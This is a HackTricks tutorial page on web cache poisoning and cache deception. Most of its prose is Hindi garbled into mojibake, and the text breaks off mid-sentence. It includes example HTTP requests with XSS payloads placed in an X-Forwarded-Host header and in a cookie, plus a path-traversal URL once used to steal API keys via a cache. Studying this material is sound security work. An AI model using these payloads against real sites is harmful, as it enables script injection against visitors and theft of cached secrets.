.. | ||
cache-poisoning-to-dos.md | ||
cache-poisoning-via-url-discrepancies.md | ||
README.md |
Cache Poisoning and Cache Deception
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
The difference
рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдФрд░ рд╡реЗрдм рдХреИрд╢ рдзреЛрдЦрд╛рдзрдбрд╝реА рдХреЗ рдмреАрдЪ рдХреНрдпрд╛ рдЕрдВрддрд░ рд╣реИ?
- рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХреИрд╢ рдореЗрдВ рдХреБрдЫ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рд╕рд╛рдордЧреНрд░реА рдЕрдиреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдХреИрд╢ рд╕реЗ рдкрд░реЛрд╕реА рдЬрд╛рддреА рд╣реИред
- рд╡реЗрдм рдХреИрд╢ рдзреЛрдЦрд╛рдзрдбрд╝реА рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рд╛рдордЧреНрд░реА рдХреИрд╢ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХреИрд╢ рд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред
Cache Poisoning
рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рдХреИрд╢ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╣реЗрд░рдлреЗрд░ рдХрд░рдирд╛ рд╣реИ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд, рдЖрдВрд╢рд┐рдХ, рдпрд╛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рд╣реЛ рдЬрд╛рдПрдВред рдкреНрд░рднрд╛рд╡ рдХреА рд╕реАрдорд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рдкреГрд╖реНрда рдХреА рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рджреВрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд░реЛрд╕реА рдЬрд╛рддреА рд╣реИ рдЬреЛ рдХреИрд╢ рд╕рдВрджреВрд╖рдг рдХреЗ рджреМрд░рд╛рди рдкреГрд╖реНрда рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВред
рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рд╣рдорд▓реЗ рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХрдИ рдЪрд░рдгреЛрдВ рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ:
- рдЕрдирдХреАрдж рдЗрдирдкреБрдЯ рдХреА рдкрд╣рдЪрд╛рди: рдпреЗ рдРрд╕реЗ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИрдВ рдЬреЛ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдХреИрд╢ рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИрдВ, рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдИ рдЧрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рдЗрдирдкреБрдЯ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдиреНрд╣реЗрдВ рдХреИрд╢ рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
- рдЕрдирдХреАрдж рдЗрдирдкреБрдЯ рдХрд╛ рд╢реЛрд╖рдг: рдЕрдирдХреАрдж рдЗрдирдкреБрдЯ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЕрдЧрд▓рд╛ рдХрджрдо рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реИ рдХрд┐ рдЗрди рдкреИрд░рд╛рдореАрдЯрд░реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдП рддрд╛рдХрд┐ рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд▓рд╛рдн рд╣реЛред
- рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдХрд┐ рджреВрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрд╢ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ: рдЕрдВрддрд┐рдо рдХрджрдо рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рд╣реЗрд░рдлреЗрд░ рдХреА рдЧрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрд╢ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИред рдЗрд╕ рддрд░рд╣, рдкреНрд░рднрд╛рд╡рд┐рдд рдкреГрд╖реНрда рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬрдм рдХреИрд╢ рджреВрд╖рд┐рдд рд╣реЛ, рддреЛ рджреВрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ред
Discovery: Check HTTP headers
рдЖрдорддреМрд░ рдкрд░, рдЬрдм рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрд╢ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИ рддреЛ рдПрдХ рд╣реЗрдбрд░ рдРрд╕рд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ, рдЖрдк рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЛ рдХрд┐рди рд╣реЗрдбрд░ рдкрд░ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП: HTTP Cache headers.
Discovery: Caching error codes
рдпрджрд┐ рдЖрдк рд╕реЛрдЪ рд░рд╣реЗ рд╣реИрдВ рдХрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрд╢ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛ рд░рд╣реА рд╣реИ, рддреЛ рдЖрдк рдЦрд░рд╛рдм рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рд╕реНрдерд┐рддрд┐ рдХреЛрдб 400 рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред рдлрд┐рд░ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдЕрдиреБрд░реЛрдз рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдФрд░ рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ 400 рд╕реНрдерд┐рддрд┐ рдХреЛрдб рд╣реИ, рддреЛ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ (рдФрд░ рдЖрдк рдпрд╣рд╛рдВ рддрдХ рдХрд┐ DoS рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред
рдЖрдк рдЕрдзрд┐рдХ рд╡рд┐рдХрд▓реНрдк рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХрднреА-рдХрднреА рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреИрд╢ рдирд╣реАрдВ рд╣реЛрддреЗ рдЗрд╕рд▓рд┐рдП рдпрд╣ рдкрд░реАрдХреНрд╖рдг рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ред
Discovery: Identify and evaluate unkeyed inputs
рдЖрдк Param Miner рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдкреИрд░рд╛рдореАрдЯрд░ рдФрд░ рд╣реЗрдбрд░ рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░реЗрдВ рдЬреЛ рдкреГрд╖реНрда рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдкреГрд╖реНрда X-Forwarded-For
рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рд╡рд╣рд╛рдВ рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рд╕реЗ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
рдкреИрд░рд╛рдореАрдЯрд░/рд╣реЗрдбрд░ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдЗрд╕реЗ рд╕реИрдирд┐рдЯрд╛рдЗрдЬ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдФрд░ рдпрд╣ рдХрд╣рд╛рдБ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рд╣реЛ рд░рд╣рд╛ рд╣реИ рдпрд╛ рд╣реЗрдбрд░ рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИред рдХреНрдпрд╛ рдЖрдк рдЗрд╕реЗ рдХрд┐рд╕реА рднреА рддрд░рд╣ рд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдПрдХ XSS рдкреНрд░рджрд░реНрд╢рди рдХрд░реЗрдВ рдпрд╛ рдПрдХ JS рдХреЛрдб рд▓реЛрдб рдХрд░реЗрдВ рдЬреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реЛ? рдПрдХ DoS рдкреНрд░рджрд░реНрд╢рди рдХрд░реЗрдВ?...)
рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреИрд╢ рдХрд░реЗрдВ
рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдЙрд╕ рдкреГрд╖реНрда рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдХрд┐ рдкреИрд░рд╛рдореАрдЯрд░/рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ рдФрд░ рдХрд┐рд╕ рдкреНрд░рдХрд╛рд░ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдкреГрд╖реНрда рдХреЛ рдХреИрд╢ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЬрд┐рд╕ рд╕рдВрд╕рд╛рдзрди рдХреЛ рдЖрдк рдХреИрд╢ рдореЗрдВ рд▓рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЗрд╕рдореЗрдВ рдХреБрдЫ рд╕рдордп рд▓рдЧ рд╕рдХрддрд╛ рд╣реИ, рдЖрдкрдХреЛ рдХрдИ рд╕реЗрдХрдВрдб рддрдХ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред
рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ X-Cache
рд╣реЗрдбрд░ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдореЗрдВ miss
рдХрд╛ рдорд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдЕрдиреБрд░реЛрдз рдХреИрд╢ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдорд╛рди hit
рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдпрд╣ рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
рд╣реЗрдбрд░ Cache-Control
рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рднреА рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рд╕рдВрд╕рд╛рдзрди рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЕрдЧрд▓реА рдмрд╛рд░ рдХрдм рд╕рдВрд╕рд╛рдзрди рдлрд┐рд░ рд╕реЗ рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛: Cache-Control: public, max-age=1800
рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЗрдбрд░ Vary
рд╣реИред рдпрд╣ рд╣реЗрдбрд░ рдЕрдХреНрд╕рд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд╣реЗрдбрд░реНрд╕ рдХреЛ рд╕рдВрдХреЗрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХреИрд╢ рдХреБрдВрдЬреА рдХрд╛ рднрд╛рдЧ рдорд╛рдиреЗ рдЬрд╛рддреЗ рд╣реИрдВ, рднрд▓реЗ рд╣реА рд╡реЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЕрдирдХреБрдВрдЬреАрдХреГрдд рд╣реЛрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрд╕ рд▓рдХреНрд╖реНрдп рдХреЗ рд╢рд┐рдХрд╛рд░ рдХреА User-Agent
рдЬрд╛рдирддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдЙрд╕ рд╡рд┐рд╢реЗрд╖ User-Agent
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдХреИрд╢ рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдХреИрд╢ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдПрдХ рдФрд░ рд╣реЗрдбрд░ Age
рд╣реИред рдпрд╣ рдЙрди рд╕реЗрдХрдВрдбреЛрдВ рдореЗрдВ рд╕рдордп рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрдм рд╡рд╕реНрддреБ рдкреНрд░реЙрдХреНрд╕реА рдХреИрд╢ рдореЗрдВ рд░рд╣реА рд╣реИред
рдЕрдиреБрд░реЛрдз рдХреЛ рдХреИрд╢ рдХрд░рддреЗ рд╕рдордп, рдЖрдк рдЬрд┐рди рд╣реЗрдбрд░реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЙрдирдХреЗ рд╕рд╛рде рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдЙрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдХреАрдб рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╢рд┐рдХрд╛рд░ рдХреЛ рдЙрд╕реА рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рд╣рдореЗрд╢рд╛ рд╡рд┐рднрд┐рдиреНрди рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рд╕рд╛рде рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред
рд╢реЛрд╖рдг рдЙрджрд╛рд╣рд░рдг
рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рдЙрджрд╛рд╣рд░рдг
рдПрдХ рд╣реЗрдбрд░ рдЬреИрд╕реЗ X-Forwarded-For
рдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЕрд╕реИрдирд┐рдЯрд╛рдЗрдЬреНрдб рд░реВрдк рд╕реЗ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред
рдЖрдк рдПрдХ рдмреБрдирд┐рдпрд╛рджреА XSS рдкреЗрд▓реЛрдб рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреИрд╢ рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬреЛ рдХреЛрдИ рднреА рдкреГрд╖реНрда рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИ рд╡рд╣ XSS рд╣реЛ рдЬрд╛рдПрдЧрд╛:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ /en?region=uk
рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░реЗрдЧрд╛, /en
рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ
DoS рдХреЗ рд▓рд┐рдП рдХреИрд╢ рд╡рд┐рд╖рд╛рдХреНрддрддрд╛
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
рдХреБрдХреА-рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реЗрдм рдХреИрд╢ рд╡рд┐рд╖рд╛рдХреНрддрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛
рдХреБрдХреАрдЬрд╝ рдХреЛ рдПрдХ рдкреГрд╖реНрда рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкрд░ рднреА рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП XSS рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрди рдХрдИ рдХреНрд▓рд╛рдЗрдВрдЯреНрд╕ рдореЗрдВ XSS рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреИрд╢ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВред
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдХрдордЬреЛрд░ рдХреБрдХреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдирд┐рдпрдорд┐рдд рдЕрдиреБрд░реЛрдз рдХреИрд╢ рдХреЛ рд╕рд╛рдл рдХрд░ рджреЗрдВрдЧреЗред
рдбреЗрд▓рд┐рдорд┐рдЯрд░реНрд╕, рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг рдФрд░ рдбреЙрдЯреНрд╕ рдХреЗ рд╕рд╛рде рд╡рд┐рд╕рдВрдЧрддрд┐рдпреЛрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг
рдЬрд╛рдВрдЪреЗрдВ:
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} cache-poisoning-via-url-discrepancies.md {% endcontent-ref %}
API рдХреБрдВрдЬреА рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкрде рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рдХреЗ рд╕рд╛рде рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ
рдпрд╣ рд▓реЗрдЦ рд╕рдордЭрд╛рддрд╛ рд╣реИ рдХрд┐ рдХреИрд╕реЗ рдПрдХ URL рдЬреИрд╕реЗ https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
рдХреЗ рд╕рд╛рде OpenAI API рдХреБрдВрдЬреА рдЪреБрд░рд╛рдирд╛ рд╕рдВрднрд╡ рдерд╛ рдХреНрдпреЛрдВрдХрд┐ /share/*
рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ рднреА рдЪреАрдЬрд╝ рдХреИрд╢ рдХреА рдЬрд╛рдПрдЧреА рдмрд┐рдирд╛ Cloudflare рджреНрд╡рд╛рд░рд╛ URL рдХреЛ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдХрд┐рдП, рдЬреЛ рддрдм рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЬрдм рдЕрдиреБрд░реЛрдз рд╡реЗрдм рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдВрдЪрд╛ред
рдпрд╣ рднреА рдмреЗрд╣рддрд░ рддрд░реАрдХреЗ рд╕реЗ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} cache-poisoning-via-url-discrepancies.md {% endcontent-ref %}
рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛
рдХрднреА-рдХрднреА рдЖрдкрдХреЛ рдХреИрд╢ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЕрдирдХреАрдб рдЗрдирдкреБрдЯреНрд╕ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЖрдк X-Forwarded-Host
